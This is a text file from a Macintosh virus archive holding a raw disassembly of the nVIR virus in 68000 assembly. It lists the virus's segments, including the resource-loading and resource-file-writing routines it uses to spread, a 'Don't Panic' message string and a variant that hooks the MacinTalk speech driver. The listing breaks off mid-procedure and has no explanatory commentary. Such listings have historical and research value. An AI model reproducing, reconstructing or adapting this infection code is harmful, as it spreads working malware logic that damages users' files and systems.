home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Viruses / Virus Code / nVIRDisassembled.txt next >
Text File  |  1997-10-13  |  28KB  |  1,252 lines
  1.  
  2. ;Seg 1 = nVIR ID# 1 proc 1 of 7 (local)
  3.  
  4. 0000: L0000    BRA.S    L0006
  5. 0002: L0002    ORI.B    #$00,D0
  6. 0006: L0006    MOVEA.L    L0002,A0
  7. 000A:     JSR    (A0)
  8. 000C:     MOVEA.L    (A7),A0
  9. 000E:     CLR.L    (A7)
  10. 0010:     MOVE.B    #$03,-(A7)
  11. 0014:     MOVE.L    A0,-(A7)
  12. 0016:     JMP    L001A
  13. 001A: L001A    LINK    A6,#$0000
  14. 001E:     MOVE.L    $000A(A6),-(A7)
  15. 0022:     MOVE.B    $0008(A6),-(A7)
  16. 0026:     JSR    locProc2
  17. 002A:     UNLK    A6
  18. 002C:     MOVEA.L    (A7)+,A0
  19. 002E:     ADDQ.W    #6,A7
  20. 0030:     JMP    (A0)
  21. 0032:     .WORD    $C34F,$4D50,$4320,$2020    ;[.OMPC   ]
  22. 003A:     .WORD    0    ;[........]
  23.  
  24. ;Seg 1 = nVIR ID# 1 proc 2 of 7 (local)
  25.  
  26. 0000: L003C    LINK    A6,#$FFF6
  27. 0004:     MOVEM.L    D5-D7/A3-A4,-(A7)
  28. 0008:     MOVE.L    $000A(A6),D6
  29. 000C:     MOVE.B    $0008(A6),D5
  30. 0010:     CLR.L    -(A7)
  31. 0012:     JSR    locProc4
  32. 0016:     MOVEA.L    (A7)+,A3
  33. 0018:     CLR.L    -(A7)
  34. 001A:     MOVE.L    $02A6,(A7)
  35. 001E:     JSR    locProc5
  36. 0022:     CLR.W    -(A7)
  37. 0024:     _SetResLoad    
  38. 0026:     CLR.W    -(A7)
  39. 0028:     _CurResFile    
  40. 002A:     MOVE.W    (A7)+,D7
  41. 002C:     MOVEQ    $01,D0
  42. 002E:     CMP.B    D5,D0
  43. 0030:     SEQ    D0
  44. 0032:     TST.L    D6
  45. 0034:     SEQ    D1
  46. 0036:     AND.B    D1,D0
  47. 0038:     BEQ.S    L007E
  48. 003A:     MOVE.W    #$001E,-(A7)
  49. 003E:     _SysBeep    
  50. 0040:     BRA.S    L00E2
  51. 0042: L007E    CLR.W    -(A7)
  52. 0044:     _SetResLoad    
  53. 0046:     CLR.L    -(A7)
  54. 0048:     MOVE.L    L012E,-(A7)
  55. 004C:     MOVE.W    #$000A,-(A7)
  56. 0050:     _GetResource    
  57. 0052:     MOVEA.L    (A7)+,A4
  58. 0054:     MOVE.L    A4,D0
  59. 0056:     BNE.S    L00E2
  60. 0058:     MOVE.L    A4,-(A7)
  61. 005A:     _ReleaseResource    
  62. 005C:     MOVE.B    #$01,-(A7)
  63. 0060:     _SetResLoad    
  64. 0062:     CLR.L    -(A7)
  65. 0064:     MOVE.L    L012E,-(A7)
  66. 0068:     MOVE.W    #$0007,-(A7)
  67. 006C:     _GetResource    
  68. 006E:     MOVEA.L    (A7)+,A4
  69. 0070:     MOVE.L    A4,D0
  70. 0072:     SEQ    D0
  71. 0074:     MOVE.L    D0,-(A7)
  72. 0076:     CLR.W    -(A7)
  73. 0078:     _ResError    
  74. 007A:     MOVE.W    (A7)+,D1
  75. 007C:     MOVE.L    (A7)+,D0
  76. 007E:     TST.W    D1
  77. 0080:     SNE    D1
  78. 0082:     OR.B    D1,D0
  79. 0084:     BNE.S    L00E2
  80. 0086:     MOVE.L    A4,-(A7)
  81. 0088:     _DetachResource    
  82. 008A:     MOVE.L    A4,-(A7)
  83. 008C:     JSR    locProc7
  84. 0090:     MOVE.L    A3,-(A7)
  85. 0092:     JSR    locProc5
  86. 0096:     MOVE.L    D6,-(A7)
  87. 0098:     MOVE.B    D5,-(A7)
  88. 009A:     MOVE.L    (A4),-(A7)
  89. 009C:     JSR    locProc3
  90. 00A0:     MOVE.L    A4,-(A7)
  91. 00A2:     JSR    locProc6
  92. 00A6: L00E2    MOVE.W    D7,-(A7)
  93. 00A8:     _UseResFile    
  94. 00AA:     MOVE.B    #$01,-(A7)
  95. 00AE:     _SetResLoad    
  96. 00B0:     MOVE.L    A3,-(A7)
  97. 00B2:     JSR    locProc5
  98. 00B6:     MOVEQ    $01,D0
  99. 00B8:     CMP.B    D5,D0
  100. 00BA:     BNE.S    L0118
  101. 00BC:     MOVE.W    D7,-(A7)
  102. 00BE:     _UpdateResFile    
  103. 00C0:     CLR.L    -(A7)
  104. 00C2:     MOVE.L    L012E,-(A7)
  105. 00C6:     MOVE.W    #$0002,-(A7)
  106. 00CA:     _GetResource    
  107. 00CC:     MOVEA.L    (A7)+,A4
  108. 00CE:     MOVE.L    A4,D0
  109. 00D0:     BNE.S    L0110
  110. 00D2:     _ExitToShell    
  111. 00D4: L0110    MOVEA.L    (A4),A0
  112. 00D6:     MOVEA.L    D6,A1
  113. 00D8:     MOVE.L    (A0)+,(A1)+
  114. 00DA:     MOVE.L    (A0)+,(A1)+
  115. 00DC: L0118    MOVEM.L    (A7)+,D5-D7/A3-A4
  116. 00E0:     UNLK    A6
  117. 00E2:     MOVEA.L    (A7)+,A0
  118. 00E4:     ADDQ.W    #6,A7
  119. 00E6:     JMP    (A0)
  120. 00E8:     .WORD    $C94E,$5354,$2020,$2020    ;[.NST    ]
  121. 00F0:     .WORD    4,$6E56,$4952    ;[..nVIR..]
  122.  
  123. ;Seg 1 = nVIR ID# 1 proc 3 of 7 (local)
  124.  
  125. 0000: L0132    MOVEA.L    (A7)+,A0
  126. 0002:     MOVEA.L    (A7),A1
  127. 0004:     MOVE.L    A0,(A7)
  128. 0006:     JMP    (A1)
  129.  
  130. ;Seg 1 = nVIR ID# 1 proc 4 of 7 (local)
  131.  
  132. 0000: L013A    _GetZone    
  133. 0002:     MOVE.L    A0,$0004(A7)
  134. 0006:     JMP    L015C
  135.  
  136. ;Seg 1 = nVIR ID# 1 proc 5 of 7 (local)
  137.  
  138. 0000: L0144    MOVEA.L    (A7)+,A1
  139. 0002:     MOVEA.L    (A7)+,A0
  140. 0004:     _SetZone    
  141. 0006:     JMP    L015A
  142. 000A:     MOVEA.L    (A7)+,A1
  143. 000C:     MOVE.L    (A7)+,D0
  144. 000E:     _CompactMem    
  145. 0010:     MOVE.L    D0,(A7)
  146. 0012:     NOP    
  147. 0014:     MOVEQ    $00,D0
  148. 0016: L015A    MOVE.L    A1,-(A7)
  149. 0018: L015C    MOVE.W    D0,$0220
  150. 001C:     RTS    
  151. 001E:     .WORD    $7000,$60F6    ;[p.`.....]
  152.  
  153. ;Seg 1 = nVIR ID# 1 proc 6 of 7 (local)
  154.  
  155. 0000: L0166    MOVEA.L    (A7)+,A1
  156. 0002:     MOVEA.L    (A7)+,A0
  157. 0004:     _DisposHandle    
  158. 0006:     JMP    L015A
  159.  
  160. ;Seg 1 = nVIR ID# 1 proc 7 of 7 (local)
  161.  
  162. 0000: L0170    MOVEA.L    (A7)+,A1
  163. 0002:     MOVEA.L    (A7)+,A0
  164. 0004:     _HLock    
  165. 0006:     JMP    L015A
  166.  
  167. ;Seg 2 = nVIR ID# 2 proc 1 of 1 (local)
  168.  
  169. 0000: L0000    ORI.B    #$3C,D0    ;'<'
  170. 0004:     ORI.B    #$F0,D1
  171.  
  172. ;Seg 3 = nVIR ID# 3 proc 1 of 7 (local)
  173.  
  174. 0000: L0000    MOVEA.L    (A7),A0
  175. 0002:     CLR.L    (A7)
  176. 0004:     MOVE.B    #$02,-(A7)
  177. 0008:     MOVE.L    A0,-(A7)
  178. 000A:     JMP    L000E
  179. 000E: L000E    LINK    A6,#$0000
  180. 0012:     MOVE.L    $000A(A6),-(A7)
  181. 0016:     MOVE.B    $0008(A6),-(A7)
  182. 001A:     JSR    locProc2
  183. 001E:     UNLK    A6
  184. 0020:     MOVEA.L    (A7)+,A0
  185. 0022:     ADDQ.W    #6,A7
  186. 0024:     JMP    (A0)
  187. 0026:     .WORD    $C34F,$4D50,$4320,$2020    ;[.OMPC   ]
  188. 002E:     .WORD    0    ;[........]
  189.  
  190. ;Seg 3 = nVIR ID# 3 proc 2 of 7 (local)
  191.  
  192. 0000: L0030    LINK    A6,#$FFF6
  193. 0004:     MOVEM.L    D5-D7/A3-A4,-(A7)
  194. 0008:     MOVE.L    $000A(A6),D6
  195. 000C:     MOVE.B    $0008(A6),D5
  196. 0010:     CLR.L    -(A7)
  197. 0012:     JSR    locProc4
  198. 0016:     MOVEA.L    (A7)+,A3
  199. 0018:     CLR.L    -(A7)
  200. 001A:     MOVE.L    $02A6,(A7)
  201. 001E:     JSR    locProc5
  202. 0022:     CLR.W    -(A7)
  203. 0024:     _SetResLoad    
  204. 0026:     CLR.W    -(A7)
  205. 0028:     _CurResFile    
  206. 002A:     MOVE.W    (A7)+,D7
  207. 002C:     MOVEQ    $01,D0
  208. 002E:     CMP.B    D5,D0
  209. 0030:     SEQ    D0
  210. 0032:     TST.L    D6
  211. 0034:     SEQ    D1
  212. 0036:     AND.B    D1,D0
  213. 0038:     BEQ.S    L0072
  214. 003A:     MOVE.W    #$001E,-(A7)
  215. 003E:     _SysBeep    
  216. 0040:     BRA.S    L00D6
  217. 0042: L0072    CLR.W    -(A7)
  218. 0044:     _SetResLoad    
  219. 0046:     CLR.L    -(A7)
  220. 0048:     MOVE.L    L0122,-(A7)
  221. 004C:     MOVE.W    #$000A,-(A7)
  222. 0050:     _GetResource    
  223. 0052:     MOVEA.L    (A7)+,A4
  224. 0054:     MOVE.L    A4,D0
  225. 0056:     BNE.S    L00D6
  226. 0058:     MOVE.L    A4,-(A7)
  227. 005A:     _ReleaseResource    
  228. 005C:     MOVE.B    #$01,-(A7)
  229. 0060:     _SetResLoad    
  230. 0062:     CLR.L    -(A7)
  231. 0064:     MOVE.L    L0122,-(A7)
  232. 0068:     MOVE.W    #$0007,-(A7)
  233. 006C:     _GetResource    
  234. 006E:     MOVEA.L    (A7)+,A4
  235. 0070:     MOVE.L    A4,D0
  236. 0072:     SEQ    D0
  237. 0074:     MOVE.L    D0,-(A7)
  238. 0076:     CLR.W    -(A7)
  239. 0078:     _ResError    
  240. 007A:     MOVE.W    (A7)+,D1
  241. 007C:     MOVE.L    (A7)+,D0
  242. 007E:     TST.W    D1
  243. 0080:     SNE    D1
  244. 0082:     OR.B    D1,D0
  245. 0084:     BNE.S    L00D6
  246. 0086:     MOVE.L    A4,-(A7)
  247. 0088:     _DetachResource    
  248. 008A:     MOVE.L    A4,-(A7)
  249. 008C:     JSR    locProc7
  250. 0090:     MOVE.L    A3,-(A7)
  251. 0092:     JSR    locProc5
  252. 0096:     MOVE.L    D6,-(A7)
  253. 0098:     MOVE.B    D5,-(A7)
  254. 009A:     MOVE.L    (A4),-(A7)
  255. 009C:     JSR    locProc3
  256. 00A0:     MOVE.L    A4,-(A7)
  257. 00A2:     JSR    locProc6
  258. 00A6: L00D6    MOVE.W    D7,-(A7)
  259. 00A8:     _UseResFile    
  260. 00AA:     MOVE.B    #$01,-(A7)
  261. 00AE:     _SetResLoad    
  262. 00B0:     MOVE.L    A3,-(A7)
  263. 00B2:     JSR    locProc5
  264. 00B6:     MOVEQ    $01,D0
  265. 00B8:     CMP.B    D5,D0
  266. 00BA:     BNE.S    L010C
  267. 00BC:     MOVE.W    D7,-(A7)
  268. 00BE:     _UpdateResFile    
  269. 00C0:     CLR.L    -(A7)
  270. 00C2:     MOVE.L    L0122,-(A7)
  271. 00C6:     MOVE.W    #$0002,-(A7)
  272. 00CA:     _GetResource    
  273. 00CC:     MOVEA.L    (A7)+,A4
  274. 00CE:     MOVE.L    A4,D0
  275. 00D0:     BNE.S    L0104
  276. 00D2:     _ExitToShell    
  277. 00D4: L0104    MOVEA.L    (A4),A0
  278. 00D6:     MOVEA.L    D6,A1
  279. 00D8:     MOVE.L    (A0)+,(A1)+
  280. 00DA:     MOVE.L    (A0)+,(A1)+
  281. 00DC: L010C    MOVEM.L    (A7)+,D5-D7/A3-A4
  282. 00E0:     UNLK    A6
  283. 00E2:     MOVEA.L    (A7)+,A0
  284. 00E4:     ADDQ.W    #6,A7
  285. 00E6:     JMP    (A0)
  286. 00E8:     .WORD    $C94E,$5354,$2020,$2020    ;[.NST    ]
  287. 00F0:     .WORD    4,$6E56,$4952    ;[..nVIR..]
  288.  
  289. ;Seg 3 = nVIR ID# 3 proc 3 of 7 (local)
  290.  
  291. 0000: L0126    MOVEA.L    (A7)+,A0
  292. 0002:     MOVEA.L    (A7),A1
  293. 0004:     MOVE.L    A0,(A7)
  294. 0006:     JMP    (A1)
  295.  
  296. ;Seg 3 = nVIR ID# 3 proc 4 of 7 (local)
  297.  
  298. 0000: L012E    _GetZone    
  299. 0002:     MOVE.L    A0,$0004(A7)
  300. 0006:     JMP    L0150
  301.  
  302. ;Seg 3 = nVIR ID# 3 proc 5 of 7 (local)
  303.  
  304. 0000: L0138    MOVEA.L    (A7)+,A1
  305. 0002:     MOVEA.L    (A7)+,A0
  306. 0004:     _SetZone    
  307. 0006:     JMP    L014E
  308. 000A:     MOVEA.L    (A7)+,A1
  309. 000C:     MOVE.L    (A7)+,D0
  310. 000E:     _CompactMem    
  311. 0010:     MOVE.L    D0,(A7)
  312. 0012:     NOP    
  313. 0014:     MOVEQ    $00,D0
  314. 0016: L014E    MOVE.L    A1,-(A7)
  315. 0018: L0150    MOVE.W    D0,$0220
  316. 001C:     RTS    
  317. 001E:     .WORD    $7000,$60F6    ;[p.`.....]
  318.  
  319. ;Seg 3 = nVIR ID# 3 proc 6 of 7 (local)
  320.  
  321. 0000: L015A    MOVEA.L    (A7)+,A1
  322. 0002:     MOVEA.L    (A7)+,A0
  323. 0004:     _DisposHandle    
  324. 0006:     JMP    L014E
  325.  
  326. ;Seg 3 = nVIR ID# 3 proc 7 of 7 (local)
  327.  
  328. 0000: L0164    MOVEA.L    (A7)+,A1
  329. 0002:     MOVEA.L    (A7)+,A0
  330. 0004:     _HLock    
  331. 0006:     JMP    L014E
  332.  
  333. ;Seg 4 = nVIR ID# 6 proc 1 of 13 (local)
  334.  
  335. 0000: L0000    ORI.B    #$20,D0    ;' '
  336. 0004:     JMP    L0008
  337. 0008: L0008    LINK    A6,#$0000
  338. 000C:     MOVE.B    $0008(A6),-(A7)
  339. 0010:     JSR    locProc4
  340. 0014:     UNLK    A6
  341. 0016:     MOVEA.L    (A7)+,A0
  342. 0018:     ADDQ.W    #2,A7
  343. 001A:     JMP    (A0)
  344. 001C:     .WORD    $D448,$4556,$4952,$5553    ;[.HEVIRUS]
  345. 0024:     .WORD    0    ;[........]
  346.  
  347. ;Seg 4 = nVIR ID# 6 proc 2 of 13 (local)
  348.  
  349. 0000: L0026    LINK    A6,#$0000
  350. 0004:     MOVE.L    A4,-(A7)
  351. 0006:     MOVEA.L    $0008(A6),A4
  352. 000A:     CLR.W    -(A7)
  353. 000C:     MOVE.L    $FEFC(A4),-(A7)
  354. 0010:     LEA    $FF00(A4),A0
  355. 0014:     MOVE.L    A0,D0
  356. 0016:     ADDQ.L    #1,D0
  357. 0018:     MOVE.L    D0,-(A7)
  358. 001A:     CLR.W    D0
  359. 001C:     MOVE.B    $FF00(A4),D0
  360. 0020:     EXT.L    D0
  361. 0022:     MOVE.L    D0,-(A7)
  362. 0024:     MOVE.L    $FEF6(A4),-(A7)
  363. 0028:     JSR    locProc13
  364. 002C:     MOVE.W    (A7)+,$FEFA(A4)
  365. 0030:     TST.W    $FEFA(A4)
  366. 0034:     BNE.S    L0076
  367. 0036:     MOVE.L    $FEF6(A4),-(A7)
  368. 003A:     JSR    locProc7
  369. 003E:     CLR.W    -(A7)
  370. 0040:     MOVE.L    $FEFC(A4),-(A7)
  371. 0044:     MOVE.L    $FEF6(A4),-(A7)
  372. 0048:     JSR    locProc12
  373. 004C:     MOVE.W    (A7)+,$FEFA(A4)
  374. 0050: L0076    MOVEA.L    (A7)+,A4
  375. 0052:     UNLK    A6
  376. 0054:     MOVE.L    (A7)+,(A7)
  377. 0056:     RTS    
  378. 0058:     .WORD    $D341,$5949,$5420,$2020    ;[.AYIT   ]
  379. 0060:     .WORD    0    ;[........]
  380.  
  381. ;Seg 4 = nVIR ID# 6 proc 3 of 13 (local)
  382.  
  383. 0000: L0088    LINK    A6,#$0000
  384. 0004:     MOVE.L    A4,-(A7)
  385. 0006:     MOVEA.L    $0008(A6),A4
  386. 000A:     MOVE.L    $FEFC(A4),-(A7)
  387. 000E:     JSR    locProc10
  388. 0012:     TST.L    $FEF6(A4)
  389. 0016:     BEQ.S    L00A8
  390. 0018:     MOVE.L    $FEF6(A4),-(A7)
  391. 001C:     JSR    locProc6
  392. 0020: L00A8    MOVEA.L    $0008(A6),A0
  393. 0024:     MOVEA.L    A0,A6
  394. 0026:     JMP    L013C    ;* EXIT *
  395. 002A:     .WORD    $0000
  396. 002C:     MOVEA.L    (A7)+,A4
  397. 002E:     UNLK    A6
  398. 0030:     MOVE.L    (A7)+,(A7)
  399. 0032:     RTS    
  400. 0034:     .WORD    $CD59,$4558,$4954,$2020    ;[.YEXIT  ]
  401. 003C:     .WORD    0    ;[........]
  402.  
  403. ;Seg 4 = nVIR ID# 6 proc 4 of 13 (local)
  404.  
  405. 0000: L00C6    LINK    A6,#$FEF4
  406. 0004:     MOVEM.L    D3-D7/A2-A4,-(A7)
  407. 0008:     MOVEQ    $03,D0
  408. 000A:     CMP.B    $0008(A6),D0
  409. 000E:     BEQ.S    L00D8
  410. 0010:     BRA.S    L013C
  411. 0012: L00D8    CLR.W    -(A7)
  412. 0014:     PEA    L0164
  413. 0018:     PEA    $FEFC(A6)
  414. 001C:     JSR    locProc8
  415. 0020:     MOVE.W    (A7)+,$FEFA(A6)
  416. 0024:     TST.W    $FEFA(A6)
  417. 0028:     BEQ.S    L00F8
  418. 002A:     MOVE.W    #$001E,-(A7)
  419. 002E:     _SysBeep    
  420. 0030:     BRA.S    L013C
  421. 0032: L00F8    CLR.B    $FEF5(A6)
  422. 0036:     MOVE.L    $FEFC(A6),-(A7)
  423. 003A:     CLR.W    -(A7)
  424. 003C:     MOVE.B    $FEF5(A6),-(A7)
  425. 0040:     JSR    locProc11
  426. 0044:     CLR.L    -(A7)
  427. 0046:     CLR.L    -(A7)
  428. 0048:     JSR    locProc5
  429. 004C:     MOVE.L    (A7)+,$FEF6(A6)
  430. 0050:     BNE.S    L0120
  431. 0052:     MOVE.L    A6,-(A7)
  432. 0054:     JSR    locProc3
  433. 0058:     BRA.S    L013C
  434. 005A: L0120    LEA    $FF00(A6),A0
  435. 005E:     LEA    L0156,A1
  436. 0062:     MOVE.L    (A1)+,(A0)+
  437. 0064:     MOVE.L    (A1)+,(A0)+
  438. 0066:     MOVE.L    (A1)+,(A0)+
  439. 0068:     MOVE.W    (A1),(A0)
  440. 006A:     MOVE.L    A6,-(A7)
  441. 006C:     JSR    locProc2
  442. 0070:     MOVE.L    A6,-(A7)
  443. 0072:     JSR    locProc3
  444. 0076: L013C    LEA    $FED4(A6),A7
  445. 007A:     MOVEM.L    (A7)+,D3-D7/A2-A4
  446. 007E:     UNLK    A6
  447. 0080:     MOVEA.L    (A7)+,A0
  448. 0082:     ADDQ.W    #2,A7
  449. 0084:     JMP    (A0)
  450. 0086:     .WORD    $C44F,$5649,$5255,$5320    ;[.OVIRUS ]
  451. 008E:     .WORD    $10,$C44,$6F6E,$2774    ;[...Don't]
  452. 0096:     .WORD    $2050,$616E,$6963,$2E00    ;[ Panic..]
  453. 009E: L0164    .WORD    0,$225F,$201F,$A04C    ;[.."_ ..L]
  454. 00A6:     .WORD    $2E80,$4E71,$7000,$2F09    ;[..Nqp./.]
  455. 00AE:     .WORD    $31C0,$220,$4E75,$7000    ;[1.. Nup.]
  456. 00B6:     .WORD    $60F6    ;[`.......]
  457.  
  458. ;Seg 4 = nVIR ID# 6 proc 5 of 13 (local)
  459.  
  460. 0000: L017E    MOVEA.L    (A7)+,A1
  461. 0002:     MOVE.L    (A7)+,D0
  462. 0004:     _NewHandle    
  463. 0006:     MOVE.L    A0,(A7)
  464. 0008:     JMP    L0172
  465.  
  466. ;Seg 4 = nVIR ID# 6 proc 6 of 13 (local)
  467.  
  468. 0000: L018A    MOVEA.L    (A7)+,A1
  469. 0002:     MOVEA.L    (A7)+,A0
  470. 0004:     _DisposHandle    
  471. 0006:     JMP    L0172
  472.  
  473. ;Seg 4 = nVIR ID# 6 proc 7 of 13 (local)
  474.  
  475. 0000: L0194    MOVEA.L    (A7)+,A1
  476. 0002:     MOVEA.L    (A7)+,A0
  477. 0004:     _HLock    
  478. 0006:     JMP    L0172
  479.  
  480. ;Seg 4 = nVIR ID# 6 proc 8 of 13 (local)
  481.  
  482. 0000: L019E    MOVE.L    A2,-(A7)
  483. 0002:     MOVEQ    $64,D0
  484. 0004:     _NewHandle    
  485. 0006:     MOVEA.L    $0008(A7),A1
  486. 000A:     MOVE.L    A0,(A1)
  487. 000C:     TST.W    D0
  488. 000E:     BNE.S    L01CE
  489. 0010:     _HLock    
  490. 0012:     MOVEA.L    (A0),A2
  491. 0014:     MOVEQ    $00,D0
  492. 0016:     MOVEQ    $18,D1
  493. 0018:     MOVEA.L    A2,A0
  494. 001A: L01B8    MOVE.L    D0,(A0)+
  495. 001C:     DBRA    D1,L01B8
  496. 0020:     CLR.W    -(A7)
  497. 0022:     PEA    L028C
  498. 0026:     _OpenResFile    
  499. 0028:     MOVE.W    (A7)+,D0
  500. 002A:     BPL.S    locProc9
  501. 002C:     MOVE.W    $0A60,D0
  502. 0030: L01CE    MOVEA.L    (A7)+,A2
  503. 0032:     MOVE.L    (A7),$0008(A7)
  504. 0036:     ADDQ.L    #8,A7
  505. 0038:     MOVE.W    D0,$0004(A7)
  506. 003C:     RTS    
  507.  
  508. ;Seg 4 = nVIR ID# 6 proc 9 of 13 (local)
  509.  
  510. 0000: L01DC    MOVE.W    D0,$004A(A2)
  511. 0004:     CLR.B    -(A7)
  512. 0006:     _SetResLoad    
  513. 0008:     CLR.L    -(A7)
  514. 000A:     MOVE.L    #$44525652,-(A7)    ;'DRVR'
  515. 0010:     PEA    L0284    ;.SPEECH
  516. 0014:     _GetNamedResource    
  517. 0016:     MOVEA.L    (A7)+,A1
  518. 0018:     MOVE.W    $0A60,D0
  519. 001C:     BNE.S    L01CE
  520. 001E:     MOVE.B    #$01,-(A7)
  521. 0022:     _SetResLoad    
  522. 0024:     MOVEA.L    $011C,A0
  523. 0028:     ADDA.W    #$0080,A0
  524. 002C:     MOVE.W    #$0020,D0
  525. 0030: L020C    SUBQ.W    #1,D0
  526. 0032:     CMPI.W    #$0012,D0
  527. 0036:     BGT.S    L021A
  528. 0038:     MOVE.W    #$F060,D0
  529. 003C:     BRA.S    L01CE
  530. 003E: L021A    CMPI.L    #$00000000,-(A0)
  531. 0044:     BNE.S    L020C
  532. 0046:     MOVE.W    D0,D1
  533. 0048:     ADDQ.W    #1,D1
  534. 004A:     NEG.W    D1
  535. 004C:     MOVE.W    D1,$0046(A2)
  536. 0050:     MOVE.L    A1,-(A7)
  537. 0052:     MOVE.W    D0,-(A7)
  538. 0054:     CLR.L    -(A7)
  539. 0056:     _SetResInfo    
  540. 0058:     MOVE.L    A1,-(A7)
  541. 005A:     _LoadResource    
  542. 005C:     MOVE.W    $0A60,D0
  543. 0060:     MOVEA.L    A1,A0
  544. 0062:     _HLock    
  545. 0064:     MOVEA.L    (A7)+,A2
  546. 0066:     MOVEA.L    (A7)+,A0
  547. 0068:     MOVE.L    (A7)+,D0
  548. 006A:     MOVEA.L    (A7)+,A1
  549. 006C:     MOVE.L    A0,-(A7)
  550. 006E:     MOVE.L    A2,-(A7)
  551. 0070:     MOVEA.L    D0,A2
  552. 0072:     MOVEA.L    (A2),A2
  553. 0074:     MOVE.L    A2,-(A7)
  554. 0076:     MOVEA.L    (A2),A2
  555. 0078:     LEA    (A2),A0
  556. 007A:     MOVE.L    A1,$003C(A0)
  557. 007E:     LEA    L0284,A1
  558. 0082:     MOVE.L    A1,$0012(A0)
  559. 0086:     CLR.W    $0016(A0)
  560. 008A:     CLR.W    $001A(A0)
  561. 008E:     CLR.L    $001C(A0)
  562. 0092:     _Open    
  563. 0094:     MOVE.W    $0010(A0),$000C(A7)
  564. 009A:     MOVE.L    $0034(A0),$0042(A2)
  565. 00A0:     MOVEA.L    (A7)+,A0
  566. 00A2:     _HUnLock    
  567. 00A4:     MOVEA.L    (A7)+,A2
  568. 00A6:     RTS    
  569. 00A8: L0284    .WORD    $72E,$5350,$4545,$4348    ;[..SPEECH]
  570. 00B0: L028C    .WORD    $94D,$6163,$696E,$5461    ;[.MacinTa]
  571. 00B8:     .WORD    $6C6B    ;[lk......]
  572.  
  573. ;Seg 4 = nVIR ID# 6 proc 10 of 13 (local)
  574.  
  575. 0000: L0296    MOVE.L    A2,-(A7)
  576. 0002:     MOVEA.L    $0008(A7),A0
  577. 0006:     _HLock    
  578. 0008:     MOVEA.L    (A0),A2
  579. 000A:     LEA    (A2),A0
  580. 000C:     UNKNOWN    
  581. 000E:     MOVE.W    $004A(A2),D0
  582. 0012:     BEQ.S    L02AE
  583. 0014:     MOVE.W    D0,-(A7)
  584. 0016:     _CloseResFile    
  585. 0018: L02AE    MOVEA.L    $0008(A7),A0
  586. 001C:     _HUnLock    
  587. 001E:     _DisposHandle    
  588. 0020:     MOVEA.L    (A7)+,A2
  589. 0022:     MOVE.L    (A7),$0004(A7)
  590. 0026:     ADDQ.L    #4,A7
  591. 0028:     RTS    
  592.  
  593. ;Seg 4 = nVIR ID# 6 proc 11 of 13 (local)
  594.  
  595. 0000: L02C0    MOVEQ    $00,D2
  596. 0002:     MOVEA.L    (A7)+,A1
  597. 0004:     MOVE.B    (A7)+,D2
  598. 0006:     MOVE.W    (A7)+,D1
  599. 0008:     MOVEA.L    (A7)+,A0
  600. 000A:     MOVE.L    A1,-(A7)
  601. 000C:     MOVE.L    A0,-(A7)
  602. 000E:     _HLock    
  603. 0010:     MOVEA.L    (A0),A1
  604. 0012:     LINK    A6,#$FFE0
  605. 0016:     LEA    $FFE0(A6),A0
  606. 001A:     MOVE.W    $0046(A1),$0018(A0)
  607. 0020:     CLR.W    $001A(A0)
  608. 0024:     MOVE.W    D2,$001C(A0)
  609. 0028:     UNKNOWN    
  610. 002A:     MOVE.W    #$0004,$001A(A0)
  611. 0030:     MOVE.W    D1,$001C(A0)
  612. 0034:     UNKNOWN    
  613. 0036:     UNLK    A6
  614. 0038:     MOVEA.L    (A7)+,A0
  615. 003A:     _HUnLock    
  616. 003C:     RTS    
  617.  
  618. ;Seg 4 = nVIR ID# 6 proc 12 of 13 (local)
  619.  
  620. 0000: L02FE    MOVE.L    (A7)+,D0
  621. 0002:     MOVEA.L    (A7)+,A1
  622. 0004:     MOVEA.L    (A7)+,A0
  623. 0006:     MOVE.L    D0,-(A7)
  624. 0008:     MOVE.L    A0,-(A7)
  625. 000A:     _HLock    
  626. 000C:     MOVEA.L    A1,A0
  627. 000E:     _GetHandleSize    
  628. 0010:     MOVE.L    A2,-(A7)
  629. 0012:     MOVEA.L    $0004(A7),A2
  630. 0016:     MOVEA.L    (A2),A2
  631. 0018:     LEA    (A2),A0
  632. 001A:     MOVE.W    $0046(A2),$0018(A0)
  633. 0020:     MOVE.L    A1,$0020(A0)
  634. 0024:     MOVE.L    D0,$0024(A0)
  635. 0028:     UNKNOWN    
  636. 002A:     MOVEA.L    (A7)+,A2
  637. 002C:     MOVEA.L    (A7)+,A0
  638. 002E:     MOVE.W    D0,-(A7)
  639. 0030:     _HUnLock    
  640. 0032:     MOVE.W    (A7)+,D0
  641. 0034:     MOVE.W    D0,$0004(A7)
  642. 0038:     RTS    
  643.  
  644. ;Seg 4 = nVIR ID# 6 proc 13 of 13 (local)
  645.  
  646. 0000: L0338    MOVEA.L    $0010(A7),A0
  647. 0004:     MOVE.L    $000C(A7),$0010(A7)
  648. 000A:     MOVE.L    $0008(A7),$000C(A7)
  649. 0010:     MOVE.L    $0004(A7),$0008(A7)
  650. 0016:     MOVE.L    (A7),$0004(A7)
  651. 001A:     ADDQ.L    #4,A7
  652. 001C:     _HLock    
  653. 001E:     MOVEA.L    (A0),A0
  654. 0020:     MOVEA.L    $0042(A0),A0
  655. 0024:     _HLock    
  656. 0026:     MOVEA.L    (A0),A0
  657. 0028:     JMP    (A0)
  658. 002A:     .WORD    $4E75    ;[Nu......]
  659.  
  660. ;Seg 5 = nVIR ID# 7 proc 1 of 14 (local)
  661.  
  662. 0000: L0000    LINK    A6,#$0000
  663. 0004:     MOVE.L    $000A(A6),-(A7)
  664. 0008:     MOVE.B    $0008(A6),-(A7)
  665. 000C:     JSR    locProc3
  666. 0010:     UNLK    A6
  667. 0012:     MOVEA.L    (A7)+,A0
  668. 0014:     ADDQ.W    #6,A7
  669. 0016:     JMP    (A0)
  670. 0018:     .WORD    $C34F,$4D50,$4320,$2020    ;[.OMPC   ]
  671. 0020:     .WORD    0    ;[........]
  672.  
  673. ;Seg 5 = nVIR ID# 7 proc 2 of 14 (local)
  674.  
  675. 0000: L0022    LINK    A6,#$FFFC
  676. 0004:     MOVE.L    A4,-(A7)
  677. 0006:     CLR.L    -(A7)
  678. 0008:     MOVE.L    L007A,-(A7)
  679. 000C:     MOVE.W    #$0001,-(A7)
  680. 0010:     _GetResource    
  681. 0012:     MOVEA.L    (A7)+,A4
  682. 0014:     MOVE.L    A4,D0
  683. 0016:     BEQ.S    L0068
  684. 0018:     MOVE.L    A4,-(A7)
  685. 001A:     _DetachResource    
  686. 001C:     MOVE.L    A4,-(A7)
  687. 001E:     JSR    locProc9
  688. 0022:     MOVEA.L    (A4),A0
  689. 0024:     MOVE.L    A0,-(A7)
  690. 0026:     CLR.L    -(A7)
